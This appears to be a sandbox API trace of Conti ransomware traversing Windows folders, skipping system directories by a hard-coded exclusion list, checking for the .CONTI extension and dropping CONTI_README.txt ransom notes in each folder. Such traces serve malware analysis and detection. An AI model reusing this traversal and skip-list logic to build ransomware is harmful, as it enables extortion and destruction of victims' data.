	[0098.332] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\*", lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e74583d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c7ff0
	[0098.332] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.332] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845f41a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e74583d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.332] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.332] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.332] FindNextFileW (in: hFindFile=0x17c7ff0, lpFindFileData=0x5c3f160 | out: lpFindFileData=0x5c3f160*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3f3fc, dwReserved1=0xb6884, cFileName="Catalog", cAlternateFileName="")) returned 1
	[0098.332] lstrcmpiW (lpString1="Catalog", lpString2=".") returned 1
	[0098.332] lstrcmpiW (lpString1="Catalog", lpString2="..") returned 1
	[0098.332] lstrcmpiW (lpString1="Catalog", lpString2="tmp") returned -1
	[0098.332] lstrcmpiW (lpString1="Catalog", lpString2="winnt") returned -1
	[0098.332] lstrcmpiW (lpString1="Catalog", lpString2="Application Data") returned 1
	[0098.332] lstrcmpiW (lpString1="Catalog", lpString2="AppData") returned 1
	[0098.332] lstrcmpiW (lpString1="Catalog", lpString2="temp") returned -1
	[0098.332] lstrcmpiW (lpString1="Catalog", lpString2="thumb") returned -1
	[0098.332] lstrcmpiW (lpString1="Catalog", lpString2="$Recycle.Bin") returned 1
	[0098.332] lstrcmpiW (lpString1="Catalog", lpString2="$RECYCLE.BIN") returned 1
	[0098.332] lstrcmpiW (lpString1="Catalog", lpString2="System Volume Information") returned -1
	[0098.332] lstrcmpiW (lpString1="Catalog", lpString2="Program Files") returned -1
	[0098.332] lstrcmpiW (lpString1="Catalog", lpString2="Program Files (x86)") returned -1
	[0098.332] lstrcmpiW (lpString1="Catalog", lpString2="Boot") returned 1
	[0098.332] lstrcmpiW (lpString1="Catalog", lpString2="Windows") returned -1
	[0098.332] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData") returned 47
	[0098.332] lstrlenW (lpString="Catalog") returned 7
	[0098.332] GetProcessHeap () returned 0x1720000
	[0098.332] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x70) returned 0x1740af0
	[0098.333] lstrcpyW (in: lpString1=0x1740af0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData"
	[0098.333] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\"
	[0098.333] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\", lpString2="Catalog" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog"
	[0098.333] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog") returned 55
	[0098.333] GetProcessHeap () returned 0x1720000
	[0098.333] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x74) returned 0x17e41d8
	[0098.333] lstrcpyW (in: lpString1=0x17e41d8, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog"
	[0098.333] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*"
	[0098.333] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog") returned 55
	[0098.333] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.333] GetProcessHeap () returned 0x1720000
	[0098.333] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x92) returned 0x173fe30
	[0098.333] lstrcpyW (in: lpString1=0x173fe30, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog"
	[0098.333] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\"
	[0098.333] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\CONTI_README.txt"
	[0098.333] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0098.333] GetProcessHeap () returned 0x1720000
	[0098.333] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x173fe30 | out: hHeap=0x1720000) returned 1
	[0098.333] WriteFile (in: hFile=0x37c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3eecc, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3eecc*=0xa2, lpOverlapped=0x0) returned 1
	[0098.334] CloseHandle (hObject=0x37c) returned 1
	[0098.334] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*", lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e74583d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x17c8030
	[0098.334] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.334] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e74583d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0098.335] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.335] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.335] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e74583d, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e74583d, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e74583d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.335] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.335] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.335] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.335] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.335] FindNextFileW (in: hFindFile=0x17c8030, lpFindFileData=0x5c3eef0 | out: lpFindFileData=0x5c3eef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1
	[0098.335] lstrcmpiW (lpString1="Packages", lpString2=".") returned 1
	[0098.335] lstrcmpiW (lpString1="Packages", lpString2="..") returned 1
	[0098.335] lstrcmpiW (lpString1="Packages", lpString2="tmp") returned -1
	[0098.335] lstrcmpiW (lpString1="Packages", lpString2="winnt") returned -1
	[0098.335] lstrcmpiW (lpString1="Packages", lpString2="Application Data") returned 1
	[0098.335] lstrcmpiW (lpString1="Packages", lpString2="AppData") returned 1
	[0098.335] lstrcmpiW (lpString1="Packages", lpString2="temp") returned -1
	[0098.335] lstrcmpiW (lpString1="Packages", lpString2="thumb") returned -1
	[0098.335] lstrcmpiW (lpString1="Packages", lpString2="$Recycle.Bin") returned 1
	[0098.335] lstrcmpiW (lpString1="Packages", lpString2="$RECYCLE.BIN") returned 1
	[0098.335] lstrcmpiW (lpString1="Packages", lpString2="System Volume Information") returned -1
	[0098.335] lstrcmpiW (lpString1="Packages", lpString2="Program Files") returned -1
	[0098.335] lstrcmpiW (lpString1="Packages", lpString2="Program Files (x86)") returned -1
	[0098.335] lstrcmpiW (lpString1="Packages", lpString2="Boot") returned 1
	[0098.335] lstrcmpiW (lpString1="Packages", lpString2="Windows") returned -1
	[0098.335] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog") returned 55
	[0098.335] lstrlenW (lpString="Packages") returned 8
	[0098.335] GetProcessHeap () returned 0x1720000
	[0098.335] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x82) returned 0x17c6f28
	[0098.335] lstrcpyW (in: lpString1=0x17c6f28, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog"
	[0098.335] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\"
	[0098.335] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\", lpString2="Packages" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages"
	[0098.335] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages") returned 64
	[0098.335] GetProcessHeap () returned 0x1720000
	[0098.335] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x86) returned 0x1733930
	[0098.335] lstrcpyW (in: lpString1=0x1733930, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages"
	[0098.335] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*"
	[0098.336] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages") returned 64
	[0098.336] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.336] GetProcessHeap () returned 0x1720000
	[0098.336] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xa4) returned 0x1732c10
	[0098.336] lstrcpyW (in: lpString1=0x1732c10, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages"
	[0098.336] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\"
	[0098.336] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\CONTI_README.txt"
	[0098.336] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0098.336] GetProcessHeap () returned 0x1720000
	[0098.336] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1732c10 | out: hHeap=0x1720000) returned 1
	[0098.336] WriteFile (in: hFile=0x380, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3ec5c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3ec5c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.337] CloseHandle (hObject=0x380) returned 1
	[0098.337] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*", lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e74583d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c84f0
	[0098.337] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.337] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e74583d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.337] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.337] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.337] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e74583d, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e74583d, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e74583d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.337] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.337] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.337] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.337] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.337] FindNextFileW (in: hFindFile=0x17c84f0, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x85953409, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="{9AC08E99-230B-47E8-9721-4577B7F124EA}", cAlternateFileName="{9AC08~1")) returned 1
	[0098.338] lstrcmpiW (lpString1="{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpString2=".") returned 1
	[0098.338] lstrcmpiW (lpString1="{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpString2="..") returned 1
	[0098.338] lstrcmpiW (lpString1="{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpString2="tmp") returned -1
	[0098.338] lstrcmpiW (lpString1="{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpString2="winnt") returned -1
	[0098.338] lstrcmpiW (lpString1="{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpString2="Application Data") returned -1
	[0098.338] lstrcmpiW (lpString1="{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpString2="AppData") returned -1
	[0098.338] lstrcmpiW (lpString1="{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpString2="temp") returned -1
	[0098.338] lstrcmpiW (lpString1="{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpString2="thumb") returned -1
	[0098.338] lstrcmpiW (lpString1="{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpString2="$Recycle.Bin") returned 1
	[0098.338] lstrcmpiW (lpString1="{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpString2="$RECYCLE.BIN") returned 1
	[0098.338] lstrcmpiW (lpString1="{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpString2="System Volume Information") returned -1
	[0098.338] lstrcmpiW (lpString1="{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpString2="Program Files") returned -1
	[0098.338] lstrcmpiW (lpString1="{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpString2="Program Files (x86)") returned -1
	[0098.338] lstrcmpiW (lpString1="{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpString2="Boot") returned -1
	[0098.338] lstrcmpiW (lpString1="{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpString2="Windows") returned -1
	[0098.338] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages") returned 64
	[0098.338] lstrlenW (lpString="{9AC08E99-230B-47E8-9721-4577B7F124EA}") returned 38
	[0098.338] GetProcessHeap () returned 0x1720000
	[0098.338] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd0) returned 0x173aca0
	[0098.338] lstrcpyW (in: lpString1=0x173aca0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages"
	[0098.338] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\"
	[0098.338] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\", lpString2="{9AC08E99-230B-47E8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}"
	[0098.338] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}") returned 103
	[0098.338] GetProcessHeap () returned 0x1720000
	[0098.338] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xd4) returned 0x17c30b0
	[0098.338] lstrcpyW (in: lpString1=0x17c30b0, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}"
	[0098.338] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpString2="\\*" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\*") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\*"
	[0098.338] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}") returned 103
	[0098.338] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.338] GetProcessHeap () returned 0x1720000
	[0098.338] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0xf2) returned 0x17c3190
	[0098.338] lstrcpyW (in: lpString1=0x17c3190, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}"
	[0098.338] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\"
	[0098.338] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\CONTI_README.txt") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\CONTI_README.txt"
	[0098.338] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\CONTI_README.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0098.339] GetProcessHeap () returned 0x1720000
	[0098.339] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c3190 | out: hHeap=0x1720000) returned 1
	[0098.339] WriteFile (in: hFile=0x308, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3e9ec, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3e9ec*=0xa2, lpOverlapped=0x0) returned 1
	[0098.340] CloseHandle (hObject=0x308) returned 1
	[0098.340] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\{9AC08E99-230B-47E8-9721-4577B7F124EA}\\*", lpFindFileData=0x5c3ea10 | out: lpFindFileData=0x5c3ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e74583d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ecac, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8230
	[0098.340] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.340] FindNextFileW (in: hFindFile=0x17c8230, lpFindFileData=0x5c3ea10 | out: lpFindFileData=0x5c3ea10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x85953409, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x85953409, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x4e74583d, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3ecac, dwReserved1=0xb6884, cFileName="..", cAlternateFileName="")) returned 1
	[0098.341] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.341] lstrcmpiW (lpString1="..", lpString2="..") returned 0
